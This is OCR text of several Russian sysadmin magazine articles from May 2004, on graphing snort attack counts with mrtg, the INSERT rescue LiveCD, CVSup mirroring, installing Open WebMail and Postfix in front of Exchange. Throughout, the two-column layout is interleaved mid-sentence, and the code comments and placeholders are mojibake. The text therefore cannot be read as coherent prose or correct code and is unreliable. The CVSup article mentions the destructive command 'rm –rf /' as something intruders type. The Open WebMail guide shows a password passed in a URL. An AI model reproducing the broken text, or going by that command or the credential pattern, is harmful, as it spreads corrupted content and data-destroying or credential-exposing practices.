# Âûâåñòè ïîëó÷åííîå â ðåçóëüòàòå çàïðîñà çíà÷åíèå
который фактически является основным ядром нижесле- print $ref[0],"\n";
дующего perl-скрипта, который лишь осуществляет авто- # Çàâåðøèòü ðàáîòó ñ ÁÄ è îòêëþ÷èòüñÿ îò íå¸.
матизацию процесса подключения и работы с БД и выво- $rc = $sth->finish;
$rc = $dbh->disconnect;
дит результат в нужном формате.
Перед созданием скрипта убедимся, что данный зап- # Âûâåñòè äîïîëíèòåëüíûå çíà÷åíèÿ, íåîáõîäèìûå äëÿ ñîáëþäåíèÿ
# ôîðìàòà ïåðåäà÷è äàííûõ â mrtg
рос работает правильно, подключившись к БД из консоли print "0\n";

№5(18), май 2004 23


безопасность
print "0\n"; После того как как мы убедились, что скрипт работа-
print "snort\n"; ет, можно запустить mrtg. Первые три раза лучше это сде-
Соответствующие параметры: адреса MySQL-сервера лать вручную, так как директория snort к моменту запуска
и пр. следует задать самостоятельно, в зависимости от скорее всего будет отсутствовать со всем её будущим
вашей конфигурации. Следует отметить, что сам скрипт содержимым, то в первые два раза будет выдано сооб-
и БД могут быть разнесены и выполняться на разных ком- щение о создании директории, и будут выданы сообще-
пьютерах, если вы запускаете скрипт на том же самом ния об ошибках. Mrtg будет жаловаться на то, что отсут-
компьютере, где находится БД, что наиболее вероятно, то ствует log-файл, где хранятся данные и отсутствует его
без сомнения можно использовать значение «localhost». резервная копия. Третий раз запуск программы должен
После указания в файле правильных значений необходи- пройти тихо, без выдачи каких-либо сообщений об ошиб-
мо придать файлу атрибут запускаемости следующей ко- ках. Если это так, то можно смело переходить к автомати-
мандой: зации процесса запуска mrtg. Если бы мы сразу решили
автоматизировать запуск, то эти и, возможно, другие со-
# chmod +x /etc/mrtg/snort_stat.pl общения об ошибках могли бы оказаться в log-файлах
вашей системы, что усложнило бы процесс отладки и по-
Далее, для того чтобы данный сценарий работал без иска возможных ошибок.
ошибок, перед его тестовым запуском необходимо убе- Дополнительно убедиться в правильности работы mrtg
диться в том, что в системе установлен не только сам perl можно, изучив содержимое директории /var/www/html/mrtg/
по тому адресу, что указан в первой строчке, который бу- snort командой:
дет выполнять написанный нами скрипт, но и его пакеты-
расширения, позволяющие ему взаимодействовать с БД. # ls /var/www/html/mrtg/snort
Это perl-DBD-MySQL и perl-DBI. Проверить их наличие
можно командой: Там должны быть 7 файлов:
! snort-day.png ! snort.html
# rpm -qa|grep perl ! snort.log ! snort-month.png
! snort.old ! snort-week.png
которая выдаст имена всех пакетов в вашей системе, в ! snort-year.png
которых содержится слово perl. В случае отсутствия двух
вышеуказанных пакетов, содержащих необходимые нам Процесс автоматизации запуска mrtg возможно орга-
для работы perl-модули, следует установить их, например низовать двумя путями: запускать mrtg в виде демона один
для RedHat v.7.3, командами: раз из стартовых скриптов, например из /etc/rc.d/rc.local,
указав дополнительно соответствующий параметр в фай-
# rpm -ihv perl-DBI-1.21-1.i386.rpm ле конфигурации, либо запускать с помощью демона
# rpm -ihv perl-DBD-MySQL-1.2219-6.i386.rpm
crond. Второй вариант мне нравится больше. Для его реа-
(Эти rpm-пакеты с модулями можно найти на втором и лизации необходимо в файле /etc/crontab прописать сле-
третьем компакт-дисках соответственно.) дующие две строчки:
В случае если система обнаружения атак у вас рабо-
тает и регистрирует атаки, запустив данный скрипт вруч- # mrtg-ñòàòèñòèêà
0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg ↵
ную, при правильной его работе вы сможете увидеть при- --logging /var/log/mrtg.log
мерно следующий результат в виде четырёх строк.
Строка-комментарий никакой смысловой нагрузки не
19 несёт, кроме того, что это правила хорошего тона, пояс-
0
0 нять все записи в crontab-файлах, да и потом в случае
snort чего проще будет разобраться.
Сообщения от mrtg лучше вести в отдельный файл /var/
Первая цифра – число атак за последние 5 минут, сле- log/mrtg.log, дабы не замусоривать и так перегруженный
дует заметить, что она может отличаться от той цифры, /var/log/messages, хотя это не обязательно. MRTG лучше
что была выдана при ручном вводе соответствующего запускать раз в пять минут (запись 0-59/5), каждого часа,
SQL-запроса ранее, так как время не стоит на месте, то каждого дня месяца, каждого месяца в любой день неде-
пятиминутные интервалы, в промежутке которых осуще- ли (оставшиеся четыре *). Подробнее про синтаксис и про-
ствляется подсчёт, будут разные для разных моментов цесс автоматизации см. [9 стр.34-38]. В случае если вы
запуска. В случае отсутствия атак первая цифра будет 0. будете запускать его чаще или реже, следует изменить и
Три последующие строки меняться не будут, что легко скрипт, подсчитывающий значение числа атак, заменив
заметить из последних строчек выводящего их скрипта. там соответствующее 5 минутам значение в 300 секунд.
Нужны они лишь для того, чтобы правильно работал После того как добавлены эти строчки, можно считать,
mrtg и не ругался. Так как чаще всего mrtg работает с мар- что работа по настройке закончена, и если у вас, как и
шрутизаторами, то на месте этих строчек оказываются не положено, запущен демон crond, то всё будет работать. И
пустые значения, а значения входящего и исходящего тра- уже через несколько часов можно будет наблюдать не
фика, uptime соответствующего устройства и его имя. совсем пустые гистограммы. В случае если у вас запу-

24
безопасность
щен веб-сервер, просмотрите любым графическим брау- Второе замечание касается подсчёта числа атак в еди-
зером файл http://yourserver/mrtg/snort/snort.html, либо файл ницу времени при построении графика. В случае если по
/var/www/html/mrtg/snort/snort.html локально в противном каким-то причинам придётся запускать mrtg в разные интер-
случае. В результате вы увидите картинку, подобную ни- валы времени, то, возможно, вам пригодится следующая
жеследующей: информация. Сейчас, когда запускается mrtg то, так как в
Options указано слово absolute, осуществляется деление
переданного значения от скрипта на время, равное разнице
между текущим запуском mrtg и предыдущим. Это время
приблизительно равно 300 секундам и там, и там, поэтому
получается примерно точно. Однако если по каким-то при-
чинам с момента последнего запуска mrtg прошло другое
количество времени, то как легко предположить, среднее чис-
ло атак будет подсчитано неправильно. Несколько исправить
ситуацию может использование опции gauge вместо absolute,
но не всегда. Если указана опция gauge, то значение не де-
лится на интервал времени, а принимается равным тому, что
передали. Соответственно, для правильного подсчёта и ото-
бражения в скрипте snort_stat.pl необходимо будет делить
выводимое значение на 5. Этот способ подсчёта также яв-
ляется грубым, но может помочь вам несколько уменьшить
ошибку, поменяв правила её подсчёта.

Литература, ссылки:
1. MRTG: The Multi Router Traffic Grapher http://
people.ee.ethz.ch/~oetiker/webtools/mrtg/
2. Закляков П. Разводной мост на Linux. – //Журнал «Си-
После того как, казалось бы, всё рассказано и показа- стемный администратор» №4(5), апрель 2003 г.
но, хочется сделать пару замечаний. 3. Манн С., Крелл М. Linux. Администрирование сетей
Первое касается точности построения графиков. Как TCP/IP. Пер. с англ. – М.: ООО «Бином-Пресс», 2003 г.
легко заметить, для запуска используется демон crond, ко- 4. Колисниченко Д.Н. Linux-сервер своими руками. – СПб:
торый запускается после указанного времени, когда не толь- Наука и Техника, 2002 г.
ко загрузка системы позволит это сделать, но и будет ниже 5. Закляков П. Удобнее, эффективнее, лучше: snort +
определённой. В результате следует понимать, что запуск MySQL – //Журнал «Системный администратор» №11(12),
происходит не точно каждые 5 минут. Если будет запозда- ноябрь 2003 г.
ние, то скрипт, подсчитывающий атаки, запустится позже, 6. Холзнер С. Perl: Специальный справочник – СПб: Пи-
в результате его пятиминутный интервал не перекроется с тер, 2000 г.
предыдущим и будет дырка, то есть часть атак не будет 7. Дюбуа П. Применение MySQL и Perl в Web-приложе-
подсчитано. Если же после «запоздавшего» задания сле- ниях.: Пер. с англ. – М.:Издательский дом «Вильямс»,
дующее будет вовремя, то произойдёт перекрытие и неко- 2002 г.
торые атаки будут подсчитаны дважды. Для систем с гру- 8. Как получить доступ к базе данных из cgi-скриптов?
бой оценкой это не важно, так как отклонения эти не боль- (Техническая поддержка Zenon N.S.P.: Виртуальные
шие и примерно компенсируются и не накапливаются в силу unix-серверы : Вопросы по MySQL) http://www.host.ru/
случайно флуктуирующего числа атак в единицу времени. documentation/v-www/0025.html#11
Для более точных оценок данный метод следует корректи- 9. Тейнсли Д. Linux и UNIX: программирование в shell. Ру-
ровать. Именно по причине грубости данного метода я не ководство разработчика: Пер. с англ. – К.: Издательс-
вижу смысла запускать mrtg чаще чем раз в 5 минут. кая группа BHV, 2001 г.

№5(18), май 2004 25


администрирование

INSERT – INSIDE SECURITY RESCUE TOOLKIT

СЕРГЕЙ ЯРЕМЧУК
Бешеная популярность GNU/Linux не в последнюю очередь Если BIOS не поддерживает загрузку с CD-ROM, то
обусловлена наличием большого количества узконаправ- можно создать загрузочную дискету командой:
ленных дистрибутивов, адаптированных для выполнения
конкретных задач. Наиболее популярны среди них firewall, #if=mounted_cdrom_directory/INSERT/boot.img of=/dev/fd0 bs=18k
позволяющие настроить доступ в Интернет, в том числе и
неподготовленному пользователю, также в последнее вре- Во время загрузки есть возможность указать ряд до-
мя становятся популярными дистрибутивы, предназначен- полнительных опций (просмотреть список можно по F2),
ные для анализа сетевой безопасности удаленных и ло- из которых хотелось бы отметить insert toram, позволяю-
кальных вычислительных систем и сетей в основном в щую загрузить содержимое диска в оперативную память
виде LiveCD-дистрибутивов, позволяющих проделать все и освободить дисковод. После чего загрузочный скрипт
необходимые операции без установки системы на жест- найдет все разделы на жестком диске, но монтировать их
кий диск. Причем некоторые разработки могут прийтись не будет, это сделано специально для того, чтобы макси-
по вкусу и закоренелым пользователям Windows-систем, мально сохранить данные. При необходимости нужный
т.к. могут оказаться тем единственным подручным сред- раздел монтируем (все найденные можно просмотреть в
ством, при помощи которого можно спасти свои данные. каталоге /mnt/):
Об одном таком дистрибутиве и пойдет речь далее.
INSERT (Inside Security Rescue Toolkit) – так называет- #mount /mnt/hda3
ся LiveCD-дистрибутив, от Inside Security IT Consulting
GmbH, предназначенный в первую очередь для решения После чего он будет смонтирован в режиме чтение-за-
задач по спасению данных, а также для сетевого анализа. пись. По умолчанию работаем как пользователь insert, при
Домашняя страница проекта: http://www.insert.cd/. Размер необходимости все остальные утилиты запускаются при
версии 1.2.3., которой я пользуюсь, всего-то 49.5 Мб, что помощи sudo без пароля. Далее, если сеть не настрои-
позволяет записать его на болванку размером с корпора- лась при помощи DHCP, настраиваем ее вручную. Для
тивную карточку, которая много места не займет, и иметь этого воспользуемся командами ifconfig и route.
всегда при себе.
При выборе образа для загрузки нужно быть внима- #ifconfig eth0 192.168.0.20 netmask 255.255.255.0
#route add default gw 192.168.0.254
тельным, т.к. на данный момент имеются две версии: не-
мецкая с приставкой de и английская – en. Базируется И заносим в /etc/resolv.conf имя ближайшего сервера
INSERT на популярном LiveCD-дистрибутиве KNOPPIX, что имен. Например:
позволяет, воспользовавшись понятной инструкцией по
разделке KNOPPIX Remastering HowTo (http:// nameserver 192.168.0.254
www.knoppix.net/docs/index.php/KnoppixRemasteringHowto),
при необходимости внести изменения в состав приложе- Из меню можно вызвать утилиты настройки pppconfig,
ний дистрибутива. pppoeconf для DSL или isdnconfig для ISDN. В настройке
Ядро INSERT поддерживает все файловые системы, модемного соединения помогут скрипты ppp-scripts-
которые могут понадобиться, – это Linux-журналируемые knoppix и pppconfig.
ext3, JFS, ReiserFS, XFS, а также Microsoft FAT с NTFS, Приложения, входящие в состав INSERT, можно раз-
что перекрывает большую часть потребностей. При заг- делить по следующим категориям:
рузке система пытается найти разделы LVM (logical Утилиты для работы с дисковыми разделами восста-
volume manager). Система будет работать на большин- новления данных. В первую очередь интересна утилита
стве оборудования, знает о Wireless-девайсах (имеются captive, представляющая эмулятор ядра Windows NT, по-
и утилиты для работы – orinoco, linux-wlan-ng, wavemon), зволяющий работать с разделами, отформатированными
SCSI-устройствах, RAID, в т.ч. и software-RAID, исключе- под NTFS, причем поддерживается и запись. Кроме того,
ния составляют, наверное, Win-модемы. Интересно, что работает и с разделами/образами в FAT, ext2, ISO9660.
в такой маленький объем разработчикам удалось вмес- Далее идет утилита gpart, позволяющая найти «поте-
тить и X-Window с оконным менеджером fluxbox, так что рявшиеся» разделы на жестком диске в случае, если таб-
те, кто еще не привык к работе в командной строке, бу- лица первичных разделов в нулевом секторе была повреж-
дут работать в более удобной для себя среде. дена или удалена.

26
администрирование
Утилита partimage позволяет сохранять разделы во го назначения апплет wmifs, traceroute и интерфейс mtr-tiny,
многих форматах (ext2fs/ext3fs, ReiserFS, FAT16/32, HPFS, dnsutils, ftp (с GTK-интерфейсом axyftp-gtk), ssh, httptunnel,
JFS, XFS, UFS, HFS, NTFS), причем, в отличие от dd, про- icmpush (позволяет самстоятельно строить ICMP-пакеты),
пускает нулевые секторы и может сжимать данные, что sendip (позволяет посторить произвольные IP-пакеты),
позволяет экономить место на диске, особенно при рабо- веб-браузер Links.
те с разделами больших размеров, удобна для клониро- Утилиты анализа и повышения защищенности системы:
вания системы. chntpw (утилита восстановления паролей NT SAM), wipe (для
Также поможет в поиске и восстановлении потерянных безопасного удаления файлов), smb-nat (утилита аудита
разделов утилита testdisk, имеющая систему меню, облег- NetBIOS), idswakeup (для тестирования IDS-систем).
чающую работу с ней новичкам, и режим Advanced, пред- И целый ряд вспомогательных утилит вроде программ
назначенный для экспертов. для создания iso-образов и записи их на СD (mkisofs,
Для восстановления данных, умышленно или случай- cdrecord и burncenter), редакторы nvi и nano, набор для
но уничтоженных с дискового раздела ext2, поможет ос- работы с различными архивами и еще много различных
нованная на «Ext2-undeletion howto» утилита recover с гра- утилит.
фическим Gtk-интерфейсом gtkrecover. В дополнение к Приятно, что разработчики полностью сохранили до-
стандартной утилите dd имеется dd-rescue, позволяющая кументацию в виде man-страниц, что позволяет быстро
создать образ, несмотря на ошибки. разобраться в работе с незнакомыми утилитами или
Утилиты защиты системы, к которым можно отнести вспомнить опции командной строки.
антивирус Clamav, chkrootkit, предназначенный для поис- В принципе для большинства восстановительных ра-
ка вложений – rootkits и lsof. Для обновления антивирус- бот такой наборчик подойдет вполне. Особенно понрави-
ных баз в меню встроен отдельный пункт, вызов которого лась возможность освобождения CD-ROM/RW, который
при настроенном соединении автоматически обновит можно использовать, например, для восстановления спа-
базы, или вручную набрать freshclam. После чего можно сенной информации.
запускать clamscan с указанием примонтированого дис- Это довольно хороший инструмент администратора,
кового раздела. позволяющий использовать специфические для UNIX при-
Утилиты анализа и работы в сети: iptables, tcpdump, ложения на Windows-системах, а также для пользовате-
nmap, iptraf (IP Network Statistics Utility) плюс аналогично- лей, желающих начать знакомство с основами UNIX.

№5(18), май 2004 27


администрирование

ЗЕРКАЛИРОВАНИЕ ИНФОРМАЦИИ
В этой статье будет рассказано о создании
простой и удобной системы зеркалирования
информации с помощью пакета CVSup.

АЛЕКСАНДР БАЙРАК
Трудно переоценить ту пользу, которую приносят нам ре- рез сеть. Он состоит из двух частей – клиента и сервера.
зервные копии, заботливо нами же и сделанные. Сколько Да, есть аналогичные средства – sup и rdist, а чем CVSup-
нервов и времени не было благодаря им потрачено впус- то лучше? CVSup более гибок в настройках, и обеспечи-
тую… вает большую скорость работы по сравнению с вышеука-
Процесс зеркалирования хоть и схож по смыслу, но занными средствами. CVSup может эффективно копиро-
все же несколько отличается от классического резерв- вать файлы любых типов, вплоть до файлов устройств. С
ного копирования информации. Более того, зеркалиро- помощью CVSup можно зеркалировать как отдельные ка-
вание в полной мере не сможет его заменить. А зачем талоги, так и весь сервер целиком. А что? Очень удобно
же тогда использовать зеркалирование, если оно не за- получается.
менит процесс стандартного бекапа? Рассмотрим не- Я установил систему зеркалирования на FreeBSD, но
большой пример. ее так же можно установить на любую другую BSD-систе-
На работе у X есть веб-сервер, X как добросовестный му или на Linux.
админ выполняет каждодневное резервное копирование, CVSup мной был установлен из пакаджей, которые
даже скрипты для автоматизации процесса написал. И все шли вместе с системой. При желании пользователи BSD-
бы ничего: резервные копии ведутся, хотите контент сай- систем могут установить этот пакет из коллекции пор-
та двухнедельной давности? Пожалуйста! Но случилось тов, а можно самостоятельно скомпилировать из исход-
страшное, злобные script-kiddies взломали веб-сервер и ников, которые располагаются тут: ftp://ftp.FreeBSD.org/
снесли все содержимое сайта. Конечно, не беда, есть ре- pub/FreeBSD/development/CVSup/ .
зервные копии, и все можно воcстановить, но сколько В сети есть и rmp-пакеты CVSup.
времени это займет? Да, казалось бы, не долго, минут 20 В общем, проблем с получением и установкой возник-
(в лучшем случае), и все будет на месте, но эти самые 20 нуть не должно. Расписывать пошагово весь процесс не
минут сайт компании будет в простое, (это если только вижу смысла.
содержимое сайта(ов) снесли, а что делать, если злодеи Так как эта статья не задумывалась как исчерпываю-
недрогнувшей рукой набрали rm –rf / )… невеселая карти- щее руководство по зеркалированию информации, я не
на вырисовывается. Вот для того чтобы этого не произош- буду рассматривать примеры создания полной копии од-
ло, можно (и нужно) зеркалировать информацию. (Конеч- ного/нескольких серверов целиком, все будет показано на
но, зеркалирование не спасет вас от script-kiddies, но под- одном простом примере, я думаю, его будет достаточно,
разумевается, что восстановление работоспособности для того чтобы понять, как работает CVSup.
сайта (или всего сервера) займет намного меньше вре- Перейдем от теории к практике:
мени.) Если бы у нашего админа имелась зеркальная ко- Предположим, нам нужно держать зеркальные копии
пия веб-сервера, он использовал бы ее для работы, на следующих каталогов: /var/ftp; /info; /home/user22. Для на-
время восстановления основного веб-сервера. чала нам нужно создать каталоги, в которых разместятся
Почему я взял за основу CVSup? CVSup является па- файлы конфигурации, роль которых – указывать демону
кетом программ для передачи и обновления файлов че- cvsupd, какие данные пересылать зеркальной машине.

28
администрирование
#cd /etc *default base=/backup/var
#mkdir –p cvsup/sup *default releases=ftp
#cd cvsup/sup ftp
#mkdir ftp info user22
В качестве hostname вам нужно указать имя вашего
После этого создаем в каждом каталоге по 2 файла хоста, информацию с которого вы хотите получать. Кста-
следующего содержания (расписываю на примере ftp): ти, писать *default в начале каждой строки абсолютно не
Создаем первый файл: обязательно, это делается только для удобочитаемости
файла. delete use-rel-suffix – эта инструкция дает CVSup
#touch ftp.cvs право удалять файлы на вашем компьютере. А почему в
*default base= указано именно /backup/var, а не /var ?
Помещаем в него следующее: Потому что /var «основной» машины будет храниться
в каталоге /backup/var «резервной» машины. Как вы по-
Upgrade ftp няли, это сделано для того, чтобы каталог /var с «основ-
rsymlink *
ной» машины не заместил собой каталог /var на «резерв-
Создаем второй файл: ной» машине.
Такое можно допустить только в том случае, если вы
#touch releases поддерживаете полное зеркалирование сервера. Вроде
бы все готово, пробуем запустить CVSup:
В котором пишем:
#cvsup –L 2 /etc/mirror
ftp list=ftp.cvs prefix=/var
Число после опции –L указывает уровень подробнос-
В первом файле мы указываем, какой каталог мы хо- ти выводимой информации. По умолчанию используется 1.
тим иметь на резервной машине. А во втором указывает- В данном случае 2 – самый подробный вывод. При 0 в
ся имя файла, в котором мы описали, что мы хотим копи- качестве параметра опции –L информация о процессе не
ровать, и место на диске, где располагается нужный нам выводится. За ней следует указание месторасположения
каталог. файла с настройками. Вот пошел процесс синхронизации.
Проделываем аналогичные манипуляции с остальны- В зависимости от объемов информации и скорости сети
ми каталогами. первоначальный обмен данными может продлиться доста-
После успешного завершения запускаем сервер cvsupd: точно долго. Должен заметить, что если нажать Ctrl+C для
завершения процесса копирования, CVSup корректно за-
#cvsupd –b /etc/cvsup –C 1 –l /dev/stdout вершит все свои операции, и в следующий раз продолжит
свое дело с того места, но котором вы его прервали.
После опции –b указываем, где у нас лежит каталог, в Хочу обратить ваше внимание на одну очень важную
котором располагаются файлы конфигурации. По умолча- деталь: CVSup не копирует файлы, у которых совпадает
нию это /usr/local/etc/cvsup, если файлы с настройками вы контрольная сумма и права доступа.
поместили именно туда, эту опцию можно опустить. Опция Получается, что если на машине-источнике и машине-
–C отвечает за определение максимального количества получателе присутствуют разные учетные записи пользо-
клиентов, которые могут одновременно забирать файлы. вателей, информация о правах владения файлов может
В нашем случае это 1. После опции –l указывается место, не совпасть.
куда выводить логи. Для меня более удобным и наглядным Отсюда следует, что если какой-либо копируемый файл
является вывод этой информации непосредственно на эк- имеет владельца, упоминаний о котором нет на машине-
ран. Но никто не мешает вам в качестве места для логов получателе, CVSup будет копировать этот файл в каждом
указать какой-либо файл. Например, –l /var/log/cvsup.log – сеансе синхронизации.
и все сообщения будут помещаться в этот файл. Если все Для того чтобы этого избежать, нам нужно иметь на
запустилось без ошибок, то переходим к настройке маши- обеих машинах одинаковые учетные записи пользовате-
ны «зеркала», на этой нам больше делать нечего. Если же лей, файлы которых мы собираемся зеркалировать.
возникнут какие-либо ошибки, изучайте файл, который вы Если все отлажено и отлично работает, вполне логич-
определили для вывода информации. ным может выглядеть добавление нового задания для
Важное замечание: CVSup по умолчанию работает демона cron. Через какой промежуток времени запускать
через 5999-й порт, так что не забудьте открыть его на сво- процесс зеркалирования – решать вам. У меня он проис-
ем межсетевом экране. ходит каждые полчаса.
Создаем в каталоге /etc файл mirror (хотя название вы Существует перевод на русский язык оригинального
можете выбрать произвольное). CVSup faq, который я очень рекомедую вам внимательно
В этот файл мы поместим следующее: почитать. Находится он на: http://ozz.pp.ru/cvsup.html
Завершая эту небольшую статью, невольно вспомина-
*default host=hostname ются золотые слова: «Лучше 2 бекапа, чем вообще без
*default delete use-rel-suffix
*default compress них». Так что не пренебрегайте такой важной штукой, как
*default preserve резервное копирование информации.

№5(18), май 2004 29


администрирование

ЗНАКОМСТВО С Open WebMail

О необходимости наличия доступа к корпоративной почте через веб-интерфейс я задумался


в первые же дни долгожданного отпуска. Конечно, существуют и бесплатные почтовые сервисы
с доступом через http, но такой вариант меня не устраивал. Несколько исправил ситуацию
ssh + mutt, но возможность воспользоваться такой связкой бывает не всегда. Поэтому уже через
несколько дней после выхода из отпуска на моем винчестере лежал свежескачанный дистрибутив
одного из вариантов такого веб-интерфейса – Open WebMail (http://www.openwebmail.com).

АНДРЕЙ МАРКЕЛОВ

30
администрирование
По большому счету, выбор пал на Open WebMail ввиду минимум версии 5.005. Обратите внимание, что Open
его ориентированности на работу с очень большими объе- WebMail работает через Suidperl, что обеспечивает боль-
мами почтовых сообщений. Как раз акцент в сторону боль- шую безопасность работы. Поскольку все данные компо-
ших объемов входящей корреспонденции – это то, что ненты ставятся практически в любом дистрибутиве Linux
отличает Open WebMail от других подобных систем, на- «из коробки», я не буду заострять на них дальнейшее вни-
пример, от Neomail – «предка» рассматриваемого пакета. мание.
К его достоинствам можно отнести следующее: Кроме того, необходимы следующие пакеты:
! лицензия GPL, разумеется; ! CGI.pm-2.74.tar.gz – библиотека Perl5 для написания
! наличие встроенного клиента SSH, планировщика и WWW CGI – скриптов.
функции WebDisk; ! MIME-Base64-2.12.tar.gz – модуль кодирования/декоди-
! фильтры почтовых сообщений; рования по RFC 2045-MIME.
! поддержка разнообразных UNIX-подобных систем и ра- ! libnet-1.0901.tar.gz – перловый API для поддержки при-
ботающих на них почтовых систем; ложений клиент/сервер.
! поддержка SSL; ! libiconv-1.9.1.tar.gz – пакет для динамической конвер-
! функции экспорта/импорта, облегчающие миграцию с тации символов.
почтовых клиентов; ! Text-Iconv-1.2.tar.gz – интерфейс программирования на
! русскоязычный интерфейс. Perl для работы с предыдущим пакетом.

Проект развивается с 2001 года. Язык программиро- Все вышеперечисленные архивы можно скачать по ад-
вания – Perl. За основу, как написано на сайте, взят ресу: http://openwebmail.com/openwebmail/download/packages.
Neomail 1.14. В целом, при описании процесса инсталляции я буду
В этой статье я опишу базовую установку и настройку придерживаться документации, входящей в состав дист-
системы, плюс кратко расскажу, как выглядит работа Open рибутива. Предварительно сделаю замечание, что для ус-
WebMail с точки зрения пользователя. В качестве плат- тановки Perl-модулей можно воспользоваться и оболоч-
формы я использовал Red Hat Linux и sendmail, но, как я кой CPAN, осуществляющей загрузку и установку моду-
уже говорил, вы можете использовать и другие POSIX- лей с сайта http://www.cpan.org. Но мы пойдем по «пути
системы. командной строки».
MIME-Base64, CGI.pm и libnet ставятся следующим об-
Установка разом:
Для нормальной работы веб-интерфейса требуются
Apache с разрешенным выполнением скриптов cgi и Perl tar -zxvf <èìÿ_àðõèâà>.tar.gz

№5(18), май 2004 31


администрирование
cd perl Makefile.PL
perl Makefile.PL make
make make test
make install make install

Когда вы будете давать команду perl Makefile.PL для Если предпоследняя команда отработала неудачно,
пакета libnet, на предложение скрипта обновить конфигу- проверьте, правильно ли вы отредактировали Makefile.PL.
рацию необходимо ответить отказом. То есть на един- В крайнем случае, можно будет переименовать uty/
ственный задаваемый вам вопрос во время отработки iconv.pl.fake в shares/iconv.pl, и попробовать собрать
скрипта нажать «n» и клавишу «Enter». openwebmail без поддержки iconv.
Libiconv ставится следующим образом: Теперь можно перейти непосредственно к установке
Open WebMail.
tar -zxvf libiconv-1.9.1.tar.gz При описании я буду ориентироваться на Red Hat Linux:
cd libiconv-1.9.1
./configure
make cd /var/www
make install tar -zxvBpf openwebmail-2.30.tgz
mv data/openwebmail html/
И наконец, займемся последним архивом – Text-Iconv-1.2: rmdir data

tar -zxvf Text-Iconv-1.2.tar.gz Идем в каталог cd /var/www/cgi-bin/openwebmail/etc.


cd Text-Iconv-1.2
Переименовываем auth_unix.conf.default в auth_unix.conf,
Правим Makefile.PL: открываем его в редакторе и указываем:

'LIBS' => ['-L/usr/local/lib -liconv'], passwdfile_encrypted '/etc/shadow'


'INC' => '-I/usr/local/include', passwdmkdb 'none'

Далее продолжаем из командной строки: Далее правим файл openwebmail.conf:

32
администрирование
mailspooldir '/var/spool/mail' Также можно передавать имя и пароль сразу:
ow_htmldir '/var/www/html/openwebmail'
ow_cgidir '/var/www/cgi-bin/openwebmail'
http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl? ↵
loginname=USER&password=PASS
Как видно, здесь мы просто указываем каталог, где
хранится почта, находящаяся в обработке, и системо-за- В последнем случае, не забудьте, что эта ссылка со-
висимые каталоги веб-сервера Apache. Почта на сервере храняется в «истории» вашего браузера.
хранится в формате mbox. По умолчанию вы попадаете в папку «Входящие». В
При желании здесь же можно изменить подпись, до- верхней строке последовательно расположены двенад-
бавляемую к письму. Теперь осталось последнее действие. цать иконок: создание нового сообщения, просмотр и со-
Запускаем инициализацию: здание иерархии папок, настройка фильтров, получение
почты, поиск, обновление экрана, переход в органайзер,
/var/www/cgi-bin/openwebmail/openwebmail-tool.pl –init запуск SSH-терминала, настройки и выход. Под панелью
с иконками расположена строка с напоминаниями о зап-
Во время инициализации вам будет задан вопрос о не- ланированных событиях. Под ней – элементы интерфей-
обходимости сообщения разработчикам об установке са, позволяющие изменять сортировку, копировать и пе-
Open WebMail. ремещать файлы, а также форма поиска.
На этом основные действия по установке пакета за- Интерфейс программы достаточно простой и интуитив-
кончены. Теперь вы можете зайти на сервер и посмотреть, но понятный, так что я не вижу смысла его подробно опи-
что в итоге получилось. Для приглашения к авторизации сывать. Более наглядное представление о нем вы можете
необходимо набрать в адресной строке браузера: получить на приведенных в журнале рисунках. «В дей-
ствии» вы можете ознакомиться с работающим сервером
http://<ñåðâåð>/cgi-bin/openwebmail/openwebmail.pl по адресу: http://www.postman.net.

№5(18), май 2004 33


администрирование

POSTFIX КАК ШЛЮЗ ДЛЯ EXCHANGE

Предположим, вы системный администратор и вам предстоит организовать функционирование


почтовой системы для вашего предприятия. Возможно, это тот случай, когда вашему предприятию
нецелесообразно пользоваться почтовыми ящиками, предоставленными провайдером и нужен
свой почтовый сервер, более того, вы хотите сами встать у «руля» (ведь есть также возможность
организовать свой почтовый сервер, но при этом все равно пользоваться почтовым сервером
провайдера, т.е. забирать почту для своего домена из почтовой очереди или pop3 ящика
на сервере провайдера).

ИГОРЬ ПОЛЯНСКИЙ
34
администрирование
Здесь мы рассмотрим достаточно распространённый слу- просто не приходилось работать с другими системами,
чай, когда у вас есть выделенный канал с одним IP-ад- то первым порывом будет взгромоздить на шлюз
ресом и MX-запись для вашего домена(ов) указывает на Windows. Плюсом такого решения является большой
этот IP. выбор программ, как правило, большинство из них ком-
Для вас выбор программного обеспечения почтового мерческие. Ну а о минусах такого подхода к безопаснос-
сервера ясен или, может быть, его сделали другие, но ти, я думаю, вы и сами осведомлены, иначе не стали бы
это MS Exchange. переносить Exchange внутрь защищенной сети. Настало
Вы начинаете думать, и в зависимости от наличия время попробовать UNIX, возможности которого для по-
опыта, от того, что посоветовали друзья, и какие данные добного рода задач скорее всего перекроют ваши потреб-
удалось самому найти в сети, у вас появится несколько ности, а из преимуществ можно перечислить как мини-
вариантов. мум следующие:
Итак, наиболее распространенные: ! Бесплатность самой ОС (это относится, конечно, не ко
Вы ставите Windows-машину в качестве шлюза и на всем, но выбор достаточен).
нее нахлобучиваете Exchange. Понятное дело, Exchange ! Невысокие требования к конфигурации компьютера.
на другой ОС не работает, а почту как-то надо получать. ! Отличная переносимость высоких нагрузок, не говоря
Прокопавшись несколько часов, ведь так и будет, пото- уже о стабильности ОС как таковой.
му что настройка Exchange вещь не тривиальная и уста- ! Развитые сетевые возможности и средства.
новка Windows проходит как-то не шустро, закончили ! Языки программирования и компиляторы поставля-
первый этап. Почта ходит, да и шлюз вроде справляется ются с ОС. Одного shell плюс набор стандартных ути-
с нагрузкой и почти не глючит. Довольные собой идете лит достаточно, чтобы вы забыли о поисках необхо-
домой с застывшей улыбкой на губах. На самом деле димой «программулины» для решения администра-
это не улыбка, просто вы погружены в свои мысли о ве- тивных задач.
ликих свершениях и не замечаете окружающих, ведь ! Отсутствие огромного количества вирусов, как для
завтра многое предстоит сделать, что-то надо думать с Windows (вообще такое впечатление, что их нет).
защитой шлюза, да и почту без антивирусной защиты ! Всё, что необходимо, есть в составе ОС или может быть
оставлять нельзя, плюс ко всему надо успеть завтра ска- установлено бесплатно. Её можно накрутить допол-
чать и установить многотонные сервис паки, апдейты, нительным функционалом, практически неограничен-
патчи и много всего прочего. ным, при этом не потребуется ни денежных затрат на
Проходит неделя, другая, постепенно налаживается ПО, ни обновления конфигурации компьютера.
документооборот, совместная работа офиса на базе
Exchange, ведь, я надеюсь, Exchange в вашей конторе Меня удивляют некоторые IT-специалисты, которые
